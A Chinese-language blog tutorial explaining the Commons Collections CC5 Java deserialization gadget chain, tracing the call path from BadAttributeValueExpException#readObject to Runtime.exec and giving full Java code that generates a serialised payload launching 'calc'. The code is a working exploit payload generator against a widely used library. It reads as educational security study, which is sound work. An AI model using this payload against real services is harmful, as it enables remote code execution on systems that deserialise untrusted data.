CC5链

环境搭建

和CC1一样的环境:https://yschen20.github.io/2025/11/05/CC1%E9%93%BE%EF%BC%88TransformedMap%E7%89%88%EF%BC%89/#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

分析链子

CC5链后面是和CC1链的LazyMap版一样的,前面有些变化:

ysoserial中的CC5链:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java

image-20260131000103879

可以看到这里是用TiedMapEntry#toString去调用LazyMap#get,开始是从BadAttributeValueExpException#readObject,下面去代码中实际分析一下

先去看TiedMapEntry#toString

image-20260131003141465

这里是会调用到TiedMapEntry#getValue,然后就是在getValue中会调用到mapget()方法,这里就可以调用到LazyMap#get

image-20260131003208598

这里查看toString方法的用法去找就很麻烦,所以就直接去看BadAttributeValueExpException#readObject

image-20260131130841813

下面会调用到valObj.toString(),而valObj在上面的Object valObj = gf.get("val", null);时候是将val属性的值赋值给valObj的,所以这里只要将val属性的值设置为TiedMapEntry,最后就可以触发TiedMapEntry#toString

整个链子就是这样

构造链子

序列化和反序列化函数:

1
2
3
4
5
6
7
8
9
public static void serialize(Object o) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(o);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object oic = ois.readObject();
return oic;
}

后面是和CC1链的后面一样,直接拿来用:

1
2
3
4
5
6
7
8
9
10
Class c = Runtime.class;
Transformer[] t = new Transformer[]{
new ConstantTransformer(c),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedtransformer = new ChainedTransformer(t);
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedtransformer);

然后是TiedMapEntry,去看它的构造函数:

image-20260131131459233

传入的是一个map和一个key,这里map就传入上构造好的lazyMapkey的值随便传:

1
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");

然后是BadAttributeValueExpException,看一下构造函数:

image-20260131131808327

这里就只要传入一个val参数,注意这里传入null就行了,如果在这里就传构造好的tiedMapEntry的话,就会在序列化的时候提前触发弹计算器了:

1
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

然后再去修改属性val的值为tiedMapEntry,因为是私有的,这里用反射来改:

1
2
3
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, tiedMapEntry);

最后加上序列化和反序列化调试:

1
2
serialize(badAttributeValueExpException);
unserialize("ser.bin");

image-20260131132227252

这里在调试的时候有个小问题,就是在调试到LazyMap#get这里的时候,会发现这里没有进入到想要的if中去触发transform方法,而是直接到了else

image-20260131132355349

这里AI一下,应该是IDEA调试器的问题

image-20260131132545542

去设置里改一下,将下面这里两个选项取消勾选:

image-20260131132651326

然后重新调试,就成功能进入到if里了

image-20260131132737751

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC5{
public static void main(String[] args) throws Exception{
Class c = Runtime.class;
Transformer[] t = new Transformer[]{
new ConstantTransformer(c),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedtransformer = new ChainedTransformer(t);
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedtransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, tiedMapEntry);

serialize(badAttributeValueExpException);
// unserialize("ser.bin");
}

public static void serialize(Object o) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(o);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object oic = ois.readObject();
return oic;
}
}

CC5链
https://yschen20.github.io/2026/01/31/CC5链/
作者
Suzen
发布于
2026年1月31日
更新于
2026年1月31日
许可协议